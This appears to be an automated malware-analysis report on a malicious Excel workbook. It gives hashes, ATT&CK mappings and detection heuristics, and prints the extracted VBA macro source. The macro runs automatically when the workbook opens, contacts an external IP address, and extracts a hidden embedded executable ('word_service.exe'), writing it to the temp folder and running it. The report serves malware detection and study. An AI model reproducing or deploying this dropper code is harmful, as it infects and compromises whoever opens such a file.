Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3b02161cd9beadaf…

MALICIOUS

Office (OOXML)

232.9 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2020-02-04
MD5: 9272b6f1f32c13d140a0ed0144bb40e6 SHA-1: 29d129ae548436b8297f14d8d4f58154eb117a02 SHA-256: 3b02161cd9beadaf80903717b04fdc4e8cc1b652be4eed4b209759765e39ed10
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macro contains an auto-executing Workbook_Open subroutine that decodes a URL and attempts to download a second-stage payload named 'word_service.exe'. The script utilizes WScript.Shell and CreateObject to execute the downloaded file, indicating a downloader or droppper functionality. The decoded URL is http://192.236.155.2/target1.php?id=.

Heuristics 10

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
        tmpPath$ = Environ("temp") & "\" & filename
    If Me.SaveAs(tmpPath$) Then CreateObject("wscript.shell").Run """" & tmpPath$ & """"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        tmpPath$ = Environ("temp") & "\" & filename
    If Me.SaveAs(tmpPath$) Then CreateObject("wscript.shell").Run """" & tmpPath$ & """"
End Sub
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
        Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject(Base64DecodeString("TWljcm9zb2Z0LlhNTEhUVFA="))
    WinHttpReq.Open "GET", myURL, False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject(Base64DecodeString("TWljcm9zb2Z0LlhNTEhUVFA="))
    WinHttpReq.Open "GET", myURL, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject(Base64DecodeString("TWljcm9zb2Z0LlhNTEhUVFA="))
    WinHttpReq.Open "GET", myURL, False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Main
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        On Error Resume Next
    tmpPath$ = Environ("temp") & "\" & filename
    If Me.SaveAs(tmpPath$) Then CreateObject("wscript.shell").Run """" & tmpPath$ & """"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.236.155.2/target1.php?id= Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 11982 bytes
SHA-256: 1a29344f6c3a0390aff27f56c36549d76690a7c8c2dfcdf6ac6d671139b579cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Main
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function Main()
    Dim myURL As String
    myURL = Base64DecodeString("aHR0cDovLzE5Mi4yMzYuMTU1LjIvdGFyZ2V0MS5waHA/aWQ9") & Base64EncodeString(ThisWorkbook.Name)

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject(Base64DecodeString("TWljcm9zb2Z0LlhNTEhUVFA="))
    WinHttpReq.Open "GET", myURL, False
    WinHttpReq.Send
    
    Dim FileManager As New AttachedFiles
    FileManager.GetAttachment(Base64DecodeString("d29yZF9zZXJ2aWNlLmV4ZQ==")).Run
End Function

Attribute VB_Name = "AttachedFile"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public filename As String
Public AttachDate As Date
Public FileSize As Long

Public FileRange As Range
Public Parent As AttachedFiles
Const BYTES_PER_CELL& = 500

Sub Run()
    On Error Resume Next
    tmpPath$ = Environ("temp") & "\" & filename
    If Me.SaveAs(tmpPath$) Then CreateObject("wscript.shell").Run """" & tmpPath$ & """"
End Sub


Function SaveAs(Optional ByVal filepath$) As Boolean
    On Error Resume Next: Err.Clear
    If FileRange Is Nothing Then Exit Function

    txt$ = Range2Text(GetDataRange.Value)
    If Len(txt) = 0 Then Exit Function

    buffer$ = "": buffer2$ = "": Const BufferLen& = 5000: t = Timer
    For i = 1 To Len(txt) / 2
        letter& = Val("&H" & Mid(txt, 2 * i - 1, 2))
        buffer$ = buffer$ & Chr(letter&)
        If Len(buffer$) > BufferLen& Then
            buffer2$ = buffer2$ & buffer$: buffer$ = "": DoEvents

            If Len(buffer2$) > BufferLen& * 10 Then
                res$ = res$ & buffer2$: buffer2$ = ""
                DoEvents
            End If
        End If
    Next
    res$ = res$ & buffer2$ & buffer$
    ff& = FreeFile
    Open filepath$ For Binary Access Write As #ff
    Put #ff, , res$
    Close #ff
    SaveAs = Err = 0
End Function

Private Function Range2Text(ByRef arr) As String
    buffer$ = "": buffer2$ = "": Const BufferLen& = 50000: rc& = UBound(arr): t = Timer
    On Error Resume Next: Err.Clear
    For i = LBound(arr) To UBound(arr)
        buffer$ = buffer$ & arr(i, 1)
        If Len(buffer$) > BufferLen& Then
            buffer2$ = buffer2$ & buffer$: buffer$ = ""
            If Len(buffer2$) > BufferLen& * 25 Then
                Range2Text = Range2Text & buffer2$: buffer2$ = "": DoEvents
            End If
        End If
        n& = n& + 1
        If n = 2000 Then
            n = 0: DoEvents
        End If
    Next i
    Range2Text = Range2Text & buffer2$ & buffer$
    If Not SilentMode Then Application.StatusBar = False
End Function


Private Function GetDataRange() As Range
    On Error Resume Next: Err.Clear
    Set GetDataRange = Intersect(FileRange.Worksheet.Range("7:" & FileRange.Worksheet.Rows.Count), _
                                 FileRange.EntireColumn, FileRange.Worksheet.UsedRange)
    If Err <> 0 Then Set GetDataRange = Nothing
    If GetDataRange Is Nothing Then Set GetDataRange = FileRange.EntireColumn.Cells(7): Exit Function
    If GetDataRange.Row < 7 Then Set GetDataRange = FileRange.EntireColumn.Cells(7)
End Function


Attribute VB_Name = "AttachedFiles"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WB As Workbook

Public AutoSaveWorkbook As Boolean
Public SilentMode As Boolean

Private Const FILES_SHEET_NAME$ = "SheetForAttachedFiles"
Private Const BYTES_PER_CELL& = 500

Private Sub Class_Initialize()
    Set WB = ThisWorkbook
End Sub

Function GetAllFilenames() As Collection
    On Error Resume Next: Err.Clear
    Set GetAllFilenames = New Collection: Dim ra As Range, cell As Range
    If WB Is Nothing Then Exit Function
    Set ra = GetFilesSheet(False).Range("1:1").SpecialCells(xlCellTypeConstants)
    If Err Then Exit Function
    For Each cell In ra.Cells
        GetAllFilenames.Add CStr(cell), CStr(cell)
    Next cell
End Function

Function GetAllFiles() As Collection
    Set GetAllFiles = New Collection
    On Error Resume Next

    Dim File As AttachedFile
    For Each Item In Me.GetAllFilenames
        Set File = Nothing: Set File = Me.GetAttachment(Item)
        If Not File Is Nothing Then GetAllFiles.Add File
    Next
End Function

Function AttachmentExist(ByVal filename$)
    On Error Resume Next
    Dim File As AttachedFile
    Set File = GetAttachment(filename$)
    AttachmentExist = Not (File Is Nothing)
End Function

Function GetAttachment(ByVal filename$) As AttachedFile
    If WB Is Nothing Then Exit Function
    On Error Resume Next: Err.Clear
    Dim ra As Range, col As Range
    Set col = GetFilesSheet(False).Range("1:1").Find(filename$, , xlValues, xlWhole, , , False).EntireColumn
    If Err Then Exit Function

    Set GetAttachment = New AttachedFile
    With GetAttachment
        Set .Parent = Me
        Set .FileRange = col
        .filename = filename$
        .AttachDate = CDate(col.Cells(2))
        .FileSize = Val(col.Cells(3))
    End With
End Function

Private Function GetFilesSheet(Optional ByVal CreateSheet As Boolean = True) As Worksheet
    On Error Resume Next: Err.Clear
    Dim sh As Worksheet
    x = WB.Worksheets(FILES_SHEET_NAME$).[a1]
    If Err = 0 Then
        Set GetFilesSheet = WB.Worksheets(FILES_SHEET_NAME$): Exit Function
    Else
        If Not CreateSheet Then Exit Function

        Application.ScreenUpdating = False
        Err.Clear: Set sh = WB.Worksheets.Add(, WB.Worksheets(WB.Worksheets.Count))
        If Err Then
            Exit Function
        End If
        With sh
            .Name = FILES_SHEET_NAME$
            .Visible = xlSheetVeryHidden
            .Range("2:2").NumberFormat = "dd/mm/yy"
            .Range("3:3").NumberFormat = "#,##0"
            .Range("1:6").Font.Bold = True
        End With
        Set GetFilesSheet = sh
    End If
End Function

Attribute VB_Name = "Module2"
Option Explicit

Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte


Public Function Base64EncodeString(ByVal s As String) As String
   Base64EncodeString = Base64Encode(ConvertStringToBytes(s))
End Function

Public Function Base64Encode(InData() As Byte)
   Base64Encode = Base64Encode2(InData, UBound(InData) - LBound(InData) + 1)
End Function
Public Function Base64Encode2(InData() As Byte, ByVal InLen As Long) As String
   If Not InitDone Then Init
   If InLen = 0 Then Base64Encode2 = "": Exit Function
   Dim ODataLen As Long: ODataLen = (InLen * 4 + 2) \ 3
   Dim OLen As Long: OLen = ((InLen + 2) \ 3) * 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip0 As Long: ip0 = LBound(InData)
   Dim ip As Long
   Dim op As Long
   Do While ip < InLen
      Dim i0 As Byte: i0 = InData(ip0 + ip): ip = ip + 1
      Dim i1 As Byte: If ip < InLen Then i1 = InData(ip0 + ip): ip = ip + 1 Else i1 = 0
      Dim i2 As Byte: If ip < InLen Then i2 = InData(ip0 + ip): ip = ip + 1 Else i2 = 0
      Dim o0 As Byte: o0 = i0 \ 4
      Dim o1 As Byte: o1 = ((i0 And 3) * &H10) Or (i1 \ &H10)
      Dim o2 As Byte: o2 = ((i1 And &HF) * 4) Or (i2 \ &H40)
      Dim o3 As Byte: o3 = i2 And &H3F
      Out(op) = Map1(o0): op = op + 1
      Out(op) = Map1(o1): op = op + 1
      Out(op) = IIf(op < ODataLen, Map1(o2), Asc("=")): op = op + 1
      Out(op) = IIf(op < ODataLen, Map1(o3), Asc("=")): op = op + 1
      Loop
   Base64Encode2 = ConvertBytesToString(Out)
End Function
Public Function Base64DecodeString(ByVal s As String) As String
   If s = "" Then Base64DecodeString = "": Exit Function
   Base64DecodeString = ConvertBytesToString(Base64Decode(s))
   End Function
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
End Function

Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
End Sub

Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
End Function

Private Function ConvertBytesToString(b() As Byte) As String
   Dim l As Long: l = UBound(b) - LBound(b) + 1
   Dim b2() As Byte
   ReDim b2(0 To (2 * l) - 1) As Byte
   Dim p0 As Long: p0 = LBound(b)
   Dim p As Long
   For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
   Dim s As String: s = b2
   ConvertBytesToString = s
End Function




Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 65536 bytes
SHA-256: 55dd85b37566755ea1ffb022030b413d2722120067abd9b298a89a61f4b790c2

Open this report in the interactive analyzer, or submit your own file for analysis.